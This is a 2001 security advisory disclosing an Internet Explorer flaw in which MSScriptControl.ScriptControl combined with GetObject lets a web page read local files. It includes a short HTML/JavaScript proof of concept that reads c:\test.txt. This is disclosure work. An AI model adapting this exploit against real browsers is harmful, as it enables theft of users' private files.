Georgi Guninski security advisory #41, 2001 Security bug in Internet Explorer - MSScriptControl.ScriptControl Systems affected: IE 5.5 Win2K (probably others versions/platforms, have not tested) Risk: High Date: 31 March 2001 Legal Notice: This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute it unmodified. You may not modify it and distribute it or distribute parts of it without the author's written permission. Disclaimer: The information in this advisory is believed to be true based on experiments though it may be false. The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this advisory or program. Georgi Guninski bears no responsibility for content or misuse of this advisory or program or any derivatives thereof. Description: By visiting a web page with IE it is possible to read arbitrary local files (in very rare cases small amount of the file's content is lost) if the file name is known and send them to an arbitrary server. It is also possible to read arbitrary web pages to which the victim has access. Probably this bug may be more serious, have not investigated further - an interesting scenario seems to be playing with C:\Documents and Settings\USERNAME\Local Settings\Temporary Internet Files\Content.IE5\index.dat. which probably may lead to executing arbitrary programs. Details: The problem seems to be the ActiveX object "MSScriptControl.ScriptControl" in combination with GetObject. Examine the code below for more details. -------------------------------------------------------------------- <html> <h2> Written by Georgi Guninski. <br> Reads c:\test.txt <br> </h2> <script> alert("This script reads C:\\TEST.TXT\nYou may need to create it\n") v=new ActiveXObject("MSScriptControl.ScriptControl.1"); v.Language="VBScript"; x=v.eval('GetObject("c:/test.txt","htmlfile")'); setTimeout("alert(x.body.outerHTML);",2000); </script> </html> -------------------------------------------------------------------- Workaround: To solve this particular issue disable Active Scripting, though I do not recommend using IE for browsing the Internet because this is dangerous. Demonstration: http://www.guninski.com/scractxdemo.html Vendor status: Microsoft was informed on 26 March 2001 Regards, Georgi Guninski http://www.guninski.com